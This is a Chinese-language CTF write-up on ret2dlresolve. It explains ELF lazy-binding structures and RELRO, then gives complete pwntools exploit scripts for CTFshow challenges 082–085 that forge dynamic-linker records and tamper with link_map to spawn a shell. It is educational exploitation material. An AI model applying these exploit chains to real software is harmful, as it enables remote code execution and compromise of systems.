懒绑定
正常程序第一次执行某一个函数的时候,大致流程如下图,以 puts 举例
call puts@plt | vputs@plt: jmp [puts@got] // 第一次 puts got 表还没解析,所以 jmp puts@plt + 6 也就是 push reloc_index push reloc_index jmp plt0 | v plt0: push link_map jmp _dl_runtime_resolve | v 动态链接器 resolver | | 通过 link_map 找 .dynamic v .dynamic DT_JMPREL -> .rela.plt DT_SYMTAB -> .dynsym DT_STRTAB -> .dynstr | vPLT push reloc_index | v .rela.plt[reloc_index] | | r_info 高 32 位 v .dynsym[sym_index] | | st_name v .dynstr + st_name | v "puts\x00" | v version_index = .gnu.version[sym_index] (64 位) | v 动态链接器在 libc 找 puts | v 写回 r_offset,也就是 puts@got首先 push reloc_index 索引,例如 push 0 ,此时索引就是 0 ,那么此时函数查找 .rela.plt[0] ,这是一个结构体数组,其 r_info 项高 32 位存储了 sym_index 索引 ,地位则存储的例如 7 ,代表 plt/got 重定位,其 r_offset 指定了最终查询到的真实地址应该写到哪里,之后系统去 dym[sym_index] 找到 st_name 偏移,找到后去到 .dymstr 找对映的偏移,例如,找到字符串 read\x00 ,那通过动态连接查找 read 在 libc 中的真实地址,并写回 r_offset
具体结构
64 位
typedef struct { Elf64_Addr r_offset; // 8 bytes Elf64_Xword r_info; // 8 bytes Elf64_Sxword r_addend; // 8 bytes} Elf64_Rela;r_info = (sym_index << 32) | 7R_X86_64_JUMP_SLOT = 7// 0x18 bytestypedef struct { Elf64_Word st_name; // 4 bytes unsigned char st_info; // 1 byte unsigned char st_other; // 1 byte Elf64_Section st_shndx; // 2 bytes Elf64_Addr st_value; // 8 bytes Elf64_Xword st_size; // 8 bytes} Elf64_Sym;// 0x18 bytes typedef struct { Elf64_Sxword d_tag; // 8 bytes union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; // 8 bytes } Elf64_Dyn; // 0x10 bytesplt0: push qword ptr [got.plt + 8] (link map) jmp qword ptr [got.plt + 16] (dl_runtime_resolve) func@plt: jmp qword ptr [func@got] push reloc_arg jmp plt0版本表 .gnu.version
typedef uint16_t Elf64_Versym; Elf64_Versym versym[];versym[sym_index] 对应 dynsym[sym_index] 的版本编号
也就是:
.dynsym[i] <-> .gnu.version[i]
32 位
typedef struct { Elf32_Addr r_offset; // 4 bytes Elf32_Word r_info; // 4 bytes} Elf32_Rel;// 0x8 bytesr_info = (sym_index << 8) | 7typedef struct { Elf32_Word st_name; // 4 bytes Elf32_Addr st_value; // 4 bytes Elf32_Word st_size; // 4 bytes unsigned char st_info; // 1 byte unsigned char st_other; // 1 byte Elf32_Section st_shndx; // 2 bytes} Elf32_Sym;// 0x10 bytestypedef struct { Elf32_Sword d_tag; // 4 bytes union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; // 4 bytes} Elf32_Dyn; // 0x8 bytesplt0: push dword ptr [got.plt + 4] jmp dword ptr [got.plt + 8] func@plt: jmp dword ptr [func@got] push reloc_arg jmp plt0常用 d_tag:
DT_STRTAB = 5; // 指向 .dynstrDT_SYMTAB = 6; // 指向 .dynsymDT_JMPREL = 23; // 指向 .rel.plt / .rela.pltDT_PLTGOT = 3; // 指向 .got.pltDT_PLTRELSZ = 2; // .rel.plt/.rela.plt 总大小DT_PLTREL = 20; // 32位常见 DT_REL=17,64位常见 DT_RELA=7DT_SYMENT = 11; // sizeof(Elf*_Sym)DT_STRSZ = 10; // dynstr 大小DT_VERSYM = 0x6ffffff0;DT_VERNEED = 0x6ffffffe;DT_VERNEEDNUM = 0x6fffffff;具体利用方式
- NO RELRO
表项 权限 .got 可写 .got.plt 可写 .dynamic 可写 懒解析开启 - Partial-RELRO
表项 权限 .got 运行时只读 .got.plt 可写 .dynamic 通常只读 懒解析开启 - FULL RELRO
表项 权限 .got 只读 .got.plt 只读 所有函数启动时提前解析 懒解析关闭
32 位
NO RELRO
方法 1:标准 ret2dlresolve
自己伪造:
fake .dynstr : "system\x00" fake .dynsym : Elf32_Sym fake .rel.plt: Elf32_Rel触发流程:
- 栈溢出
- read(0, fake_area, payload_len)
- 写入 fake dynstr/sym/rel/binsh
- 跳 plt0
- reloc_arg = fake_rel_addr - relplt
- resolver 解析 system
- system("/bin/sh")
关键公式:
- sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (sym_index << 8) | 0x7- reloc_arg = fake_rel_addr - relplt
注意:
Elf32_Sym 大小 0x10,fake_sym 要 0x10 对齐 Elf32_Rel 大小 0x8 r_info 低 8 位必须是 0x7,也就是 R_386_JMP_SLOT r_offset 要指向可写地址,因为 resolver 会把 system 地址写过去方法 2:改 DT_STRTAB 指针
适合 No RELRO,因为 .dynamic 可写。
思路:
不伪造 rel/sym 只复用 read 原来的 .rel.plt 和 .dynsym 只复制一份 fake .dynstr 把 fake .dynstr 里的 read 改成 system 再把 .dynamic 里的 DT_STRTAB 指向 fake .dynstr 最后跳 read@plt+6 重新解析
注意:
- 跳 read@plt+6,不是 read@plt
- 因为 read@plt 开头会直接 jmp [read@got]
- read 已经解析过时,就不会进 resolver
- read@plt+6 才会 push reloc_arg; jmp plt0
例题 082
题目描述
高级ROP 32 位 NO-RELRO






第一个是手搓的 payload
#!/usr/bin/env python3from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = process('./pwn')def align_by(addr, base, size): return addr + ((size - ((addr - base) % size)) % size)'''remainder = (addr - dynsym) % 0x10if remainder == 0: padding = 0else: padding = 0x10 - remainderaligned_addr = addr + padding'''offset = 0x70read_plt = elf.plt['read']plt0 = elf.get_section_by_name('.plt').header.sh_addrrelplt = elf.dynamic_value_by_tag('DT_JMPREL')dynsym = elf.dynamic_value_by_tag('DT_SYMTAB')dynstr = elf.dynamic_value_by_tag('DT_STRTAB')# add esp, 8; pop ebx; retread_ret = 0x0804834adata_addr = 0x08049900sym_size = 0x10rel_size = 0x08r_386_jump_slot = 0x07system_str_addr = data_addrfake_sym_addr = align_by(system_str_addr + len(b'system\x00'), dynsym, sym_size)fake_rel_addr = fake_sym_addr + sym_sizebinsh_addr = fake_rel_addr + rel_sizest_name = system_str_addr - dynstrsym_index = (fake_sym_addr - dynsym) // sym_sizer_info = (sym_index << 8) | r_386_jump_slotreloc_arg = fake_rel_addr - relpltassert (fake_sym_addr - dynsym) % sym_size == 0# Elf32_Sym:# st_name, st_value, st_size, st_info, st_other, st_shndxfake_sym = flat( p32(st_name), p32(0), p32(0), p8(0x12), # STB_GLOBAL | STT_FUNC 即全局函数符号 p8(0), p16(0),)# Elf32_Rel:# r_offset, r_infofake_rel = flat( p32(data_addr), p32(r_info),)dlresolve_payload = b'system\x00'dlresolve_payload = dlresolve_payload.ljust(fake_sym_addr - data_addr, b'a')dlresolve_payload += fake_symdlresolve_payload += fake_reldlresolve_payload += b'/bin/sh\x00'stage1 = b'a' * offsetstage1 += p32(read_plt)stage1 += p32(read_ret)stage1 += p32(0)stage1 += p32(data_addr)stage1 += p32(len(dlresolve_payload))stage1 += p32(plt0)stage1 += p32(reloc_arg)stage1 += p32(0)stage1 += p32(binsh_addr)log.info('plt0 = %#x', plt0)log.info('read@plt = %#x', read_plt)log.info('.rel.plt = %#x', relplt)log.info('.dynsym = %#x', dynsym)log.info('.dynstr = %#x', dynstr)log.info('system string = %#x', system_str_addr)log.info('fake Elf32_Sym = %#x', fake_sym_addr)log.info('fake Elf32_Rel = %#x', fake_rel_addr)log.info('/bin/sh = %#x', binsh_addr)log.info('sym_index = %#x', sym_index)log.info('r_info = %#x', r_info)log.info('reloc_arg = %#x', reloc_arg)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.send(stage1)sleep(0.1)p.sendline(dlresolve_payload)p.interactive()第二个是用的 pwntools 的工具
#! /usr/bin/env python3 from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = process('./pwn')offset = 0x70data_addr = 0x8049900dlresolve = Ret2dlresolvePayload( elf, symbol='system', args=['/bin/sh'], data_addr=data_addr)rop = ROP(elf)rop.read(0, data_addr, len(dlresolve.payload))rop.ret2dlresolve(dlresolve)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.sendline(flat({ offset: rop.chain()}))p.sendline(dlresolve.payload)p.interactive()Partial RELRO
常用还是方法一
例题 083
题目描述
高级ROP 32 位 Partial-RELRO

我们这里选 0x804a000 - 0x804b000 去写
#!/usr/bin/env python3from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28182)def align_by(addr, base, size): return addr + ((size - ((addr - base) % size)) % size)'''remainder = (addr - dynsym) % 0x10if remainder == 0: padding = 0else: padding = 0x10 - remainderaligned_addr = addr + padding'''offset = 112read_plt = elf.plt['read']plt0 = elf.get_section_by_name('.plt').header.sh_addrrelplt = elf.dynamic_value_by_tag('DT_JMPREL')dynsym = elf.dynamic_value_by_tag('DT_SYMTAB')dynstr = elf.dynamic_value_by_tag('DT_STRTAB')# add esp, 8; pop ebx; retread_ret = 0x0804836a data_addr = 0x0804a040sym_size = 0x10rel_size = 0x08r_386_jump_slot = 0x07system_str_addr = data_addrfake_sym_addr = align_by(system_str_addr + len(b'system\x00'), dynsym, sym_size)fake_rel_addr = fake_sym_addr + sym_sizebinsh_addr = fake_rel_addr + rel_sizest_name = system_str_addr - dynstrsym_index = (fake_sym_addr - dynsym) // sym_sizer_info = (sym_index << 8) | r_386_jump_slotreloc_arg = fake_rel_addr - relpltassert (fake_sym_addr - dynsym) % sym_size == 0# Elf32_Sym:# st_name, st_value, st_size, st_info, st_other, st_shndxfake_sym = flat( p32(st_name), p32(0), p32(0), p8(0x12), # STB_GLOBAL | STT_FUNC 即全局函数符号 p8(0), p16(0),)# Elf32_Rel:# r_offset, r_infofake_rel = flat( p32(data_addr), p32(r_info),)dlresolve_payload = b'system\x00'dlresolve_payload = dlresolve_payload.ljust(fake_sym_addr - data_addr, b'a')dlresolve_payload += fake_symdlresolve_payload += fake_reldlresolve_payload += b'/bin/sh\x00'stage1 = b'a' * offsetstage1 += p32(read_plt)stage1 += p32(read_ret)stage1 += p32(0)stage1 += p32(data_addr)stage1 += p32(len(dlresolve_payload))stage1 += p32(plt0)stage1 += p32(reloc_arg)stage1 += p32(0)stage1 += p32(binsh_addr)log.info('plt0 = %#x', plt0)log.info('read@plt = %#x', read_plt)log.info('.rel.plt = %#x', relplt)log.info('.dynsym = %#x', dynsym)log.info('.dynstr = %#x', dynstr)log.info('system string = %#x', system_str_addr)log.info('fake Elf32_Sym = %#x', fake_sym_addr)log.info('fake Elf32_Rel = %#x', fake_rel_addr)log.info('/bin/sh = %#x', binsh_addr)log.info('sym_index = %#x', sym_index)log.info('r_info = %#x', r_info)log.info('reloc_arg = %#x', reloc_arg)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.send(stage1.ljust(0x100, b'a'))sleep(0.1)p.send(dlresolve_payload)p.interactive()这是手搓,注意p.send(stage1.ljust(0x100, b'a'))为什么补齐 100,这是因为不补第一个 read 会吃掉我们后面的 dlresolve gadget,所以先让第一个吃满
#! /usr/bin/env python3 from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28182)offset = 112data_addr = 0x804a040dlresolve = Ret2dlresolvePayload( elf, symbol='system', args=['/bin/sh'], data_addr=data_addr)rop = ROP(elf)rop.read(0, data_addr, len(dlresolve.payload))rop.ret2dlresolve(dlresolve)p.recvuntil(b'Welcome to CTFshowPWN!\n')stage1 = flat({ offset: rop.chain()})p.send(stage1.ljust(0x100, b'a'))sleep(0.5)p.send(dlresolve.payload)p.interactive()
64 位
NO RELRO
64 位不能简单直接复用 32 位的模板,原因是 resolver 会同时访问 .gnu.version + sym_index * 2 ,一旦我们的索引过大,就容易崩溃,所以我们一般是直接改 .dynamic 指针
DT_STRTAB -> fake_strDT_SYMTAB -> fake_symDT_JMPREL -> fake_relafake 区:fake_str : "system\x00"fake_sym : Elf64_Symfake_rela: Elf64_Relabinsh : "/bin/sh\x00"关键构造:fake_sym.st_name = 0fake_sym.st_info = 0x12fake_rela.r_offset = writable_slotfake_rela.r_info = (0 << 32) | 0x7fake_rela.r_addend = 0最后触发:pop rdi; ret"/bin/sh" 地址plt0reloc_arg = 0例题 084
题目描述
高级ROP 64 位 NO-RELRO


这道题我们修改 .dynamic里的指针
注意我们为什么不是伪造全部的 fake ,是因为 64 位中 resolver 会同时访问 .gnu.version + sym_index * 2 ,一旦我们的索引过大,就容易崩溃。
#!/usr/bin/env python3from pwn import *context.binary = './pwn'context.arch = 'amd64'context.os = 'linux'elf = context.binaryHOST = 'pwn.challenge.ctf.show'PORT = 28271p = remote(HOST, PORT)pop_rsi_r15 = 0x400771pop_rdi = 0x400773read_plt = 0x400510plt0 = 0x4004d0dyn_start = 0x600988fake_area = 0x600c00fake_str = fake_areafake_sym = fake_area + 0x10fake_rela = fake_area + 0x28binsh = fake_area + 0x40resolved_slot = fake_area + 0x80def write_at(buf, base, addr, data): off = addr - base assert 0 <= off <= len(buf) - len(data), hex(addr) buf[off:off + len(data)] = datapatch1 = bytearray(elf.read(dyn_start, 0x100))write_at(patch1, dyn_start, 0x600990, p64(fake_str))write_at(patch1, dyn_start, 0x6009a0, p64(fake_sym))write_at(patch1, dyn_start, 0x600a10, p64(fake_rela))patch1 = bytes(patch1)patch2 = flat({ 0x00: b'system\x00', 0x10: flat( p32(0), # st_name p8(0x12), # st_info: STB_GLOBAL | STT_FUNC p8(0), # st_other p16(0), # st_shndx p64(0), # st_value p64(0), # st_size ), 0x28: flat( p64(resolved_slot), p64(7), p64(0), ), 0x40: b'/bin/sh\x00',}, filler=b'\x00', length=0x100)payload = flat( b'A' * 0x70, p64(0), p64(pop_rsi_r15), p64(dyn_start), p64(0), p64(read_plt), p64(pop_rsi_r15), p64(fake_area), p64(0), p64(read_plt), p64(pop_rdi), p64(binsh), p64(plt0), p64(0), ).ljust(0x100, b'A')p.recvuntil(b'Welcome to CTFshowPWN!\n')p.send(payload)p.send(patch1)sleep(0.1)p.send(patch2)p.interactive()Partial RELRO
由于 Partial RELRO ,我们的 dynamic 不能修改,我们只能去伪造 fake Elf64_Sym,fake Elf64_Rela ,但仅仅是这样还不够,由于 64 位 version_index = .gnu.version[sym_index] ,而 64 位中 sym_index 极大,所以会越界崩溃,所以我们需要处理 DT_VERSYM


于是要泄露 link_map 里面的相关区域,找到并清掉:
- link_map->l_info[DT_VERSYM]
- 可能还有缓存的 .gnu.version 指针
link map
我们之前提到 plt0 中需要 push link map , link_map 是动态链接器运行时维护的结构体,在 ld.so 的内存里,地址类似 0x7f5d47f00170 ,他保存的是指针 ,例如: link_map->l_info[DT_VERSYM] -> .dynamic 里的 DT_VERSYM entry 而 .dynamic 里的 DT_VERSYM entry 又指向:gnu version table

link_map | | l_info[DT_VERSYM] v .dynamic 里的 DT_VERSYM 项 | | d_un.d_ptr v .gnu.version = 0x4003F6 | v dw 0, dw 2, dw 2, dw 2 ...例题 085
题目描述
高级ROP 64 位 Partial RELRO
#!/usr/bin/env python3from pwn import *context.arch = "amd64"context.binary = "./pwn"elf = context.binaryHOST = "pwn.challenge.ctf.show"PORT = 28117p = remote(HOST, PORT)bss_addr = elf.bss()csu_front_addr = 0x400780csu_end_addr = 0x40079Avuln_addr = 0x400637pop_rdi = 0x4007A3DT_VERSYM = 0x6ffffff0def dynamic_entry_addr(elf, tag): dynamic = elf.get_section_by_name('.dynamic') data = elf.read(dynamic.header.sh_addr, dynamic.header.sh_size) for off in range(0, len(data), 0x10): if u64(data[off:off + 8]) == tag: return dynamic.header.sh_addr + off raise ValueError(f"dynamic tag {hex(tag)} not found")def csu(rbx, rbp, r12, r13, r14, r15): payload = p64(csu_end_addr) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += b'\x00' * 0x38 return payloaddef align(addr, base, size): return (size - ((addr - base) % size)) % sizedef ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr): if isinstance(func_name, str): func_name = func_name.encode() plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr relaent = elf.dynamic_value_by_tag("DT_RELAENT") dynsym = elf.get_section_by_name('.dynsym').header.sh_addr syment = elf.dynamic_value_by_tag("DT_SYMENT") dynstr = elf.get_section_by_name('.dynstr').header.sh_addr func_string_addr = store_addr resolve_data = func_name + b"\x00" symbol_addr = store_addr+len(resolve_data) pad = align(symbol_addr, dynsym, syment) symbol_addr = symbol_addr+pad symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0) symbol_index = (symbol_addr - dynsym) // syment resolve_data +=b'\x00'*pad resolve_data += symbol reloc_addr = store_addr+len(resolve_data) pad = align(reloc_addr, rel_plt, relaent) reloc_addr +=pad reloc_index = (reloc_addr-rel_plt) // relaent rinfo = (symbol_index<<32) | 7 write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0) resolve_data +=b'\x00'*pad resolve_data +=write_reloc resolve_call = p64(plt0) + p64(reloc_index) return resolve_data, resolve_callp.recvuntil(b'Welcome to CTFshowPWN!\n')store_addr = bss_addr+0x100sh = b"/bin/sh\x00"rop = ROP(elf)offset = 112+8rop.raw(offset*b'\x00')resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr,"system",elf.got["write"])rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)+len(sh)))rop.raw(vuln_addr)rop.raw(b"\x00"*(256-len(rop.chain())))assert(len(rop.chain())<=256)p.send(rop.chain())p.send(resolve_data+sh)bin_sh_addr = store_addr+len(resolve_data)rop = ROP(elf)rop.raw(offset*b'\x00')rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8))rop.raw(vuln_addr)rop.raw(b"\x00"*(256-len(rop.chain())))p.send(rop.chain())link_map_addr = u64(p.recvn(8))print(hex(link_map_addr))versym_dyn_addr = dynamic_entry_addr(elf, DT_VERSYM)versym_table_addr = elf.get_section_by_name('.gnu.version').header.sh_addrrop = ROP(elf)rop.raw(offset*b'\x00')rop.raw(csu(0, 1 ,elf.got['write'],1,link_map_addr+0x40,0x600))rop.raw(vuln_addr)rop.raw(b"\x00"*(256-len(rop.chain())))p.send(rop.chain())l_info = p.recvn(0x600)versym_slot_offs = []for off in range(0, len(l_info), 8): value = u64(l_info[off:off + 8]) if value in (versym_dyn_addr, versym_table_addr): versym_slot_offs.append(0x40 + off)if not versym_slot_offs: raise RuntimeError("failed to locate link_map VERSYM slots")print("VERSYM slots:", [hex(link_map_addr + off) for off in versym_slot_offs])for versym_slot_off in versym_slot_offs: rop = ROP(elf) rop.raw(offset*b'\x00') # Clear both the l_info[DT_VERSYM] slot and any cached .gnu.version # pointer, because different ld.so versions consult different fields. rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+versym_slot_off,8)) rop.raw(vuln_addr) rop.raw(b"\x00"*(256-len(rop.chain()))) p.send(rop.chain()) sleep(0.2) p.send(p64(0))rop = ROP(elf)rop.raw(offset*b'\x00')rop.raw(pop_rdi)rop.raw(bin_sh_addr)rop.raw(resolve_call)rop.raw(b"\x00"*(256-len(rop.chain())))p.send(rop.chain())p.interactive()

读者回信
正在翻开留言页...